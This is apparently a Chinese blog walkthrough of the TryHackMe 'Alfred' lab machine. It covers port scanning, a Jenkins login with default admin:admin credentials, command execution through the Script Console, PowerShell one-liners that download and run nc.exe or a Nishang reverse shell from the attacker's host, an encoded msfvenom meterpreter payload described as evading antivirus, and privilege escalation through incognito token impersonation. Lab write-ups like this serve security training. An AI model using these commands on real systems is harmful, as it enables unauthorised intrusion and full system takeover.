这台靶机不支持ping,可以使用ping 10.10.10.10来查看openvpn的连通性

侦查

使用Nmap扫描目标端口开放信息

由于Nmap默认会进行ping的存活扫描,如果存活扫描失败,他会停止对目标的端口扫描,这对于我们来说是不理想的
使用-Pn不对目标进行存活扫描

nmap -sV -n -F -Pn 10.10.254.77

开放了80、3389、8080端口

访问80端口并没有发现什么有用信息

8080端口也开放这http服务,尝试访问
THM-Alfred(阿尔弗雷德)-小白菜博客
是一个登录页面,弱密码admin:admin直接登录成功
英文看不懂,使用Google chrome浏览器访问自动翻译
THM-Alfred(阿尔弗雷德)-小白菜博客
看懂了,花了一些时间,找到了一个命令执行的页面
THM-Alfred(阿尔弗雷德)-小白菜博客
但是试了一下感觉不对您,有点悬,尝试换其他的地方进行测试
经过一个一个点击,找到了脚本控制台(Script Console),可以进行命令执行,进入路径为
THM-Alfred(阿尔弗雷德)-小白菜博客
THM-Alfred(阿尔弗雷德)-小白菜博客
THM-Alfred(阿尔弗雷德)-小白菜博客

提示我们可以使用println "uname -a".execute().text执行uname -a命令
尝试执行whoami

THM-Alfred(阿尔弗雷德)-小白菜博客
执行成功

获得初始访问权限

这是我们找到了命令执行的地方,尝试反弹shell

尝试上传一个后门脚本,可以是nc.exe也可以是其他的后门工具,这里我们将静态二进制文件nc.exe进行上传

思路:

  1. 我们需要在本机搭建一个Web服务,然后命令执行使目标下载我们的nc.exe
  2. 使用nc.exe反弹shell

操作:
首先在本机下载静态二进制文件nc.exe,并共享该文件

在目标机器下载共享的nc.exe文件
这里使用powershell下载nc.exe

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/ nc.exe');nc.exe your-ip your-port -e cmd.exe

执行后发现成功下载了nc.exe,并没有弹回shell

应该是语法的问题,在本机测试也没有执行成功,这里按照教程上的使用Nishang后门进行利用
后门脚本下载地址https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port

执行

成功回弹shell

切换外壳(shell)

为了我们操作更方便,将shell切换为功能更方便的meterpreter

使用 msfvenom 使用以下有效负载创建一个 windows meterpreter 反向 shell

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe

在本机开启meterpreter监听

此有效负载生成编码的 x86-64 反向 tcp meterpreter 有效负载。有效载荷通常被编码以确保它们被正确传输,并且还可以逃避反病毒产品。防病毒产品可能无法识别有效载荷,也不会将其标记为恶意

然后再使用同样的方法在靶机下载我们的payload

这次我们使用该方法下载

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"

成功下载Junglezt.exe,运行即可获取meterpreter shell
运行Junglezt.exe,可以使用.\Junglezt也可以使用Start-Process "Junglezt.exe"

特权升级

现在我们有了初始访问权限,让我们使用令牌模拟来获得系统访问权限。

Windows 使用令牌来确保帐户具有执行特定操作的正确权限。当用户登录或通过身份验证时,帐户令牌将分配给帐户。这通常由 LSASS.exe 完成(将其视为身份验证过程)。

此访问令牌包括:

  • 用户 SID(安全标识符)
  • SID
  • 特权

有两种类型的访问令牌:

  • 主要访问令牌:与登录时生成的用户帐户关联的令牌
  • 模拟令牌:这些允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源

对于模拟令牌,有不同的级别:

  • SecurityAnonymous:当前用户/客户端不能模拟另一个用户/客户端
  • SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
  • SecurityImpersonation:当前用户/客户端可以在本地系统上模拟客户端的安全上下文
  • SecurityDelegation:当前用户/客户端可以在远程系统上模拟客户端的安全上下文
    其中安全上下文是一个包含用户相关安全信息的数据结构。

帐户的权限(创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

使用whomia /priv可以查看当前用户的特殊权限

可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限

让我们使用允许我们利用此漏洞的incognito模块,执行load incognito加载该模块,如果该命令不可用,可以使用use incognito执行该操作

使用help可以查看incognito模块的帮助

使用list_tokens -g查看可以伪装的令牌,其中BUILTIN\Administrators可以使用

使用impersonate_token "BUILTIN\Administrators"切换到该用户的令牌,并使用getuid查看当前权限

即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程

最安全的进程是 services.exe 进程。先用ps命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS迁移到这个进程

现在我们就拥有了真正的NT AUTHORITY\SYSTEM权限

读取 C:\Windows\System32\config 中的 root.txt 文件

注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录